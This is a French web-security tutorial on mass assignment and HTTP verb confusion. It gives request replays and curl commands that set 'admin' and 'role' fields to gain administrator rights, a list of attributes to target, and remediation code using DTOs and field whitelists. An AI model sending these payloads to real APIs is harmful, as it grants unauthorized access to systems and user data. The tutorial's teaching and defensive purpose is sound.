Mass assignment : élévation de droits par surcharge de propriétés
Certaines API retournent dans leurs réponses bien plus d’attributs qu’elles ne devraient, y compris des champs internes comme admin, role ou verified. Si le serveur accepte ces mêmes attributs en entrée lors d’une mise à jour de compte, il suffit de rejouer la requête en forçant leur valeur pour modifier son propre niveau d’accès.
Le problème
Section intitulée « Le problème »Le scénario classique : un utilisateur met à jour son profil. La requête est interceptée dans Burp Suite ou les DevTools. La réponse du serveur révèle des champs qui ne devraient pas être visibles côté client.
Réponse trop verbeuse
Section intitulée « Réponse trop verbeuse »HTTP/1.1 200 OK
{ "id": 42, "username": "utilisateur", "email": "utilisateur@exemple.fr", "created_at": "2024-01-15T10:23:00Z", "admin": false, "role": "user", "verified": true, "account_locked": false}Les champs admin, role et account_locked n’ont aucune raison d’apparaître dans la réponse d’une mise à jour de profil. Leur présence indique que le serveur sérialise directement l’objet interne sans filtrage.
Requête de mise à jour initiale
Section intitulée « Requête de mise à jour initiale »PUT /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...Content-Type: application/json
{ "email": "nouvel-email@exemple.fr"}Exploitation
Section intitulée « Exploitation »1. Intercepter et analyser la réponse
Section intitulée « 1. Intercepter et analyser la réponse »Dans Burp Suite, onglet Proxy → HTTP history : repérer la requête de mise à jour et lire la réponse complète. Dans les DevTools du navigateur, onglet Network → sélectionner la requête → Response.
Identifier les attributs sensibles exposés : admin, role, is_staff, permissions, verified, account_locked.
2. Rejouer la requête en surchargeant les attributs
Section intitulée « 2. Rejouer la requête en surchargeant les attributs »PUT /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...Content-Type: application/json
{ "email": "nouvel-email@exemple.fr", "admin": true, "role": "admin"}Si le serveur ne filtre pas les champs en entrée et passe directement le corps de la requête à son ORM ou à sa couche de persistance, les attributs admin et role sont mis à jour.
3. Vérifier l’élévation
Section intitulée « 3. Vérifier l’élévation »GET /api/users/me HTTP/1.1Authorization: Bearer eyJhbGci...{ "id": 42, "username": "utilisateur", "admin": true, "role": "admin"}L’accès aux endpoints d’administration, aux données des autres utilisateurs ou aux fonctionnalités réservées est maintenant disponible avec le même token.
Tester avec curl
Section intitulée « Tester avec curl »# Requête normalecurl -s -X PUT https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"email": "test@exemple.fr"}' | jq .
# Requête avec surchargecurl -s -X PUT https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"email": "test@exemple.fr", "admin": true, "role": "admin"}' | jq .Confusion de verbe HTTP
Section intitulée « Confusion de verbe HTTP »Certains endpoints ne vérifient pas la méthode HTTP utilisée. Un endpoint GET /api/users/me conçu pour retourner des données peut accepter indifféremment une requête PUT ou PATCH sur le même chemin, notamment si le framework applique un routage permissif ou si le développeur a omis la contrainte de méthode.
Le principe
Section intitulée « Le principe »Un endpoint GET retourne une réponse verbeuse contenant des attributs internes. En changeant la méthode en PUT sur ce même endpoint, en ajoutant un Content-Type: application/json et un corps JSON, le serveur peut traiter le corps comme une mise à jour, déclenchant un mass assignment sans que l’endpoint ne soit conçu pour ça.
# Requête originaleGET /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...{ "id": 42, "username": "utilisateur", "email": "utilisateur@exemple.fr", "admin": false, "role": "user"}La réponse révèle les champs admin et role. L’endpoint dédié à la mise à jour (PUT /api/users/me) est peut-être protégé, mais l’endpoint GET ne l’est pas.
Exploitation
Section intitulée « Exploitation »Rejouer la même requête avec la méthode PUT, un Content-Type: application/json et les propriétés à injecter dans le corps :
PUT /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...Content-Type: application/json
{ "admin": true, "role": "admin"}Si le serveur n’a pas de contrainte de méthode sur cet endpoint et passe le corps à la couche de persistance sans filtrage, la mise à jour s’applique.
Tester également les autres verbes selon le framework :
# PUTcurl -s -X PUT https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"admin": true}' | jq .
# PATCHcurl -s -X PATCH https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"admin": true}' | jq .
# POSTcurl -s -X POST https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"admin": true}' | jq .Dans Burp Suite
Section intitulée « Dans Burp Suite »- Intercepter la requête
GET /api/users/medepuis l’historique proxy - Envoyer vers le Repeater
- Changer la méthode : clic droit → Change request method, ou modifier manuellement
GETenPUT - Ajouter l’en-tête
Content-Type: application/json - Ajouter un corps JSON avec les attributs cibles
- Envoyer et observer le code de réponse
Une réponse 200 OK avec les valeurs modifiées dans le corps confirme la vulnérabilité. Une réponse 405 Method Not Allowed indique que la contrainte de méthode est en place.
Ce qu’on peut chercher
Section intitulée « Ce qu’on peut chercher »Les attributs sensibles varient selon la technologie et le métier de l’application :
admin → true/falserole → "user", "moderator", "admin", "superadmin"is_staff → true/false (Django)permissions → ["read", "write", "delete"]verified → true/falsecredits → 0balance → 0account_locked → true/falsesubscription → "free", "premium", "enterprise"Tester aussi les requêtes de création de compte (POST /api/users/register) et les mises à jour de mot de passe, ces endpoints sont souvent encore moins protégés que la mise à jour de profil.
Remédiation
Section intitulée « Remédiation »Utiliser des DTOs (Data Transfer Objects)
Section intitulée « Utiliser des DTOs (Data Transfer Objects) »Un DTO définit explicitement les champs acceptés en entrée. Tout ce qui ne figure pas dans le DTO est ignoré, même si le client l’envoie.
Java (Spring) :
// DTO : seuls les champs autorisés sont exposéspublic class UpdateProfileDTO { private String email; private String username; // pas de champ admin, role, verified}
@PutMapping("/users/me")public ResponseEntity<?> updateProfile( @RequestBody UpdateProfileDTO dto, @AuthenticationPrincipal User currentUser) { currentUser.setEmail(dto.getEmail()); currentUser.setUsername(dto.getUsername()); // admin et role ne sont jamais touchés userRepository.save(currentUser); return ResponseEntity.ok(new UserResponseDTO(currentUser));}Python (Django REST Framework) :
class UpdateProfileSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['email', 'username'] # liste blanche explicite # admin, is_staff, is_superuser ne sont pas dans fieldsNode.js (Express) :
// Extraire uniquement les champs autorisésconst allowedFields = ['email', 'username'];const updateData = Object.fromEntries( Object.entries(req.body).filter(([key]) => allowedFields.includes(key)));
await User.findByIdAndUpdate(req.user.id, updateData);Appliquer le principe de liste blanche en entrée ET en sortie
Section intitulée « Appliquer le principe de liste blanche en entrée ET en sortie »Deux DTOs distincts pour éviter toute fuite :
// DTO en entrée, ce que le client peut modifierpublic class UpdateProfileDTO { private String email; private String username;}
// DTO en sortie, ce que le client peut voirpublic class UserResponseDTO { private Long id; private String username; private String email; // admin et role absent, pas visibles dans la réponse}La réponse ne doit jamais exposer d’attributs que le client ne peut pas légitimement modifier. Si admin n’apparaît pas dans la réponse, il ne peut pas être identifié comme cible.
Ne jamais passer le corps de la requête directement à l’ORM
Section intitulée « Ne jamais passer le corps de la requête directement à l’ORM »// Vulnérable, tout le body est passé à l'ORMawait User.findByIdAndUpdate(req.user.id, req.body);
// Correct, extraction expliciteconst { email, username } = req.body;await User.findByIdAndUpdate(req.user.id, { email, username });À retenir
Section intitulée « À retenir »La verbosité d’une réponse API renseigne un attaquant sur le modèle de données interne. Un champ visible en sortie peut souvent être soumis en entrée si le serveur ne distingue pas les deux. La protection repose sur des DTOs distincts en entrée et en sortie, jamais sur la confiance que le client n’enverra que les champs attendus.